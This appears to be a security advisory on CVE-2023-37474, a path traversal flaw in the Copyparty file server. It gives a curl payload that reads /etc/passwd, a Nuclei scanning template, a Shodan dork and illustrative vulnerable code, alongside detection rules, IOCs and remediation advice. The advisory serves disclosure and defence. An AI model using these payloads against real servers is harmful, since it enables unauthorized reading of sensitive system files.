CVE-2023-37474

Executive Summary

CVE-2023-37474 is a high-severity path traversal vulnerability affecting Copyparty, a portable file server, in versions prior to 1.8.2. The flaw resides in the .cpr subfolder endpoint, allowing an unauthenticated attacker to read arbitrary files from the server's filesystem by manipulating the URL path. The vulnerability has a CVSS score of 7.5, indicating a significant risk of sensitive data exposure. A public proof-of-concept (PoC) exists via a Nuclei template, and the exploit is trivial to execute. The vendor has released a fix in version 1.8.2, which properly validates file paths. No workarounds are available, making upgrading the only viable remediation.

Supply Chain & Package Security

Copyparty is a Python-based file server distributed via PyPI. Organizations using Copyparty should verify their installed version and ensure it is updated to 1.8.2 or later. The vulnerability does not directly affect the PyPI supply chain, but outdated installations are at risk. The package is not an NPM, Go, or Ruby package, so no additional ecosystem-specific concerns apply.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full file read access.
• Integrity Impact: None (I:N) – No file modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The vulnerability is easily exploitable, has a public PoC, and can lead to the exposure of sensitive system files (e.g., /etc/passwd, configuration files, user data).

Deep Dive & Mechanics

The vulnerability exists in the .cpr subfolder handler of Copyparty. The .cpr subfolder is a special endpoint used for certain file operations. Due to insufficient input validation, an attacker can inject path traversal sequences (e.g., ../ or URL-encoded /../) into the request path to escape the intended web root directory.

The core issue is that the server does not properly sanitize or canonicalize the file path before serving the file. By sending a request like GET /.cpr/%2Fetc%2Fpasswd, the attacker can read any file on the system. The %2F is a URL-encoded forward slash, which bypasses simple string-based filters that only check for literal ../ patterns.

The attack works because the .cpr handler resolves the path relative to the filesystem root when the traversal sequence is used, rather than restricting access to the document root. This is a classic path traversal vulnerability (CWE-22).

Vulnerable vs. Patched Code

Vulnerable Code (pre-1.8.2): The vulnerable code likely did not validate or canonicalize the path provided in the .cpr endpoint. A simplified example:

# Vulnerable: Directly uses user-supplied path
path = request.path.replace('/.cpr/', '')
file_content = open(path, 'rb').read()

Patched Code (1.8.2+): The fix in commit 043e3c7d introduces proper path validation, likely using os.path.realpath() or similar to resolve the path and then checking that it starts with the allowed base directory.

# Patched: Resolve and validate path
import os
base_dir = '/allowed/base/dir'
user_path = request.path.replace('/.cpr/', '')
full_path = os.path.realpath(os.path.join(base_dir, user_path))
if not full_path.startswith(base_dir):
    raise PermissionError("Path traversal detected")
file_content = open(full_path, 'rb').read()

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running Copyparty version < 1.8.2.
• Network access to the Copyparty web interface.

Exploit Steps:

1. Identify a Copyparty instance (e.g., via Shodan dork http.title:"copyparty").
2. Send a GET request to the .cpr subfolder with a URL-encoded path traversal payload.
3. Example using curl:

   curl -v "http://target:port/.cpr/%2Fetc%2Fpasswd"
   

4. The server will return the contents of /etc/passwd if successful.

Nuclei Template (Provided): The following Nuclei template can be used for automated scanning:

id: CVE-2023-37474

info:
  name: Copyparty <= 1.8.2 - Directory Traversal
  author: shankar acharya,theamanrawat
  severity: high
  description: |
    Copyparty is a portable file server. Versions prior to 1.8.2 are subject to a path traversal vulnerability detected in the `.cpr` subfolder. The Path Traversal attack technique allows an attacker access to files, directories, and commands that reside outside the web document root directory. This issue has been addressed in commit `043e3c7d` which has been included in release 1.8.2. Users are advised to upgrade. There are no known workarounds for this vulnerability.
  impact: |
    Unauthenticated attackers can exploit path traversal in the .cpr subfolder to read arbitrary files from the file server, potentially accessing sensitive system files and user data stored outside the web document root.
  remediation: |
    Update Copyparty to version 1.8.2 or later that properly validates file paths in the .cpr subfolder and prevents directory traversal attacks.
  reference:
    - https://github.com/9001/copyparty/
    - https://www.exploit-db.com/exploits/51636
    - https://nvd.nist.gov/vuln/detail/CVE-2023-37474
    - http://packetstormsecurity.com/files/173822/Copyparty-1.8.2-Directory-Traversal.html
    - https://github.com/9001/copyparty/commit/043e3c7dd683113e2b1c15cacb9c8e68f76513ff
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-37474
    cwe-id: CWE-22
    epss-score: 0.89933
    epss-percentile: 0.9958
    cpe: cpe:2.3:a:copyparty_project:copyparty:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: copyparty_project
    product: copyparty
    shodan-query: http.title:"copyparty"
    fofa-query: title="copyparty"
    google-query: intitle:"copyparty"
  tags: cve,cve2023,packetstorm,traversal,copyparty,copyparty_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/.cpr/%2Fetc%2Fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests containing /.cpr/ followed by path traversal patterns (e.g., %2F, ../, ..%2f).
• Alert on successful responses (HTTP 200) to such requests that contain sensitive file content (e.g., root:x:0:0).

Defense:

• Immediately upgrade to Copyparty version 1.8.2 or later.
• If upgrading is not possible, implement a Web Application Firewall (WAF) rule to block requests to /.cpr/ with encoded or raw path traversal sequences.
• Restrict file system permissions so that the Copyparty process runs with minimal privileges, limiting the impact of a successful exploit.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /.cpr/%2Fetc%2Fpasswd or similar patterns.
  • Requests containing /.cpr/ with URL-encoded path traversal sequences (e.g., %2F, %2e%2e%2f).
• File System IOCs:
  • Unexpected access to sensitive files (e.g., /etc/passwd, /etc/shadow, application configuration files) via the Copyparty process.
• Log IOCs:
  • Web server logs showing 200 responses to /.cpr/ requests with file content in the response body.

Detection Engineering

YARA Rule

rule CVE_2023_37474_Copyparty_Path_Traversal {
    meta:
        description = "Detects path traversal attempts against Copyparty .cpr endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-37474"
        severity = "high"
    strings:
        $traversal1 = "/.cpr/%2F" ascii wide nocase
        $traversal2 = "/.cpr/.." ascii wide nocase
        $traversal3 = "/.cpr/%2e%2e" ascii wide nocase
        $sensitive = "root:" ascii wide nocase
    condition:
        any of ($traversal*) and $sensitive
}

Sigma Rule

title: Copyparty Path Traversal Attempt (CVE-2023-37474)
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting the .cpr subfolder with path traversal sequences
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-37474
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains:
            - '/.cpr/%2F'
            - '/.cpr/..'
            - '/.cpr/%2e%2e'
    condition: selection
falsepositives:
    - Legitimate use of .cpr with encoded characters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-37474 Copyparty Path Traversal Attempt"; flow:to_server; content:"/.cpr/"; http_uri; content:"%2F"; http_uri; distance:0; within:10; content:"root:"; http_server_body; distance:0; within:10; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Remediation:

• Upgrade Copyparty to version 1.8.2 or later. The fix is included in the official release and the commit 043e3c7d.

Mitigation (if upgrade is not possible):

• Implement a WAF rule to block requests containing /.cpr/ with path traversal patterns.
• Restrict the Copyparty process to run with minimal file system permissions (e.g., read-only access to the document root only).
• Monitor logs for exploitation attempts and respond accordingly.

Long-term Recommendations:

• Regularly update all software to the latest versions.
• Conduct periodic security audits and penetration testing.
• Implement input validation and canonicalization for all file path operations.

Valters IT

{/* [Security Hash: ACE264383ADF5DED50696686] */}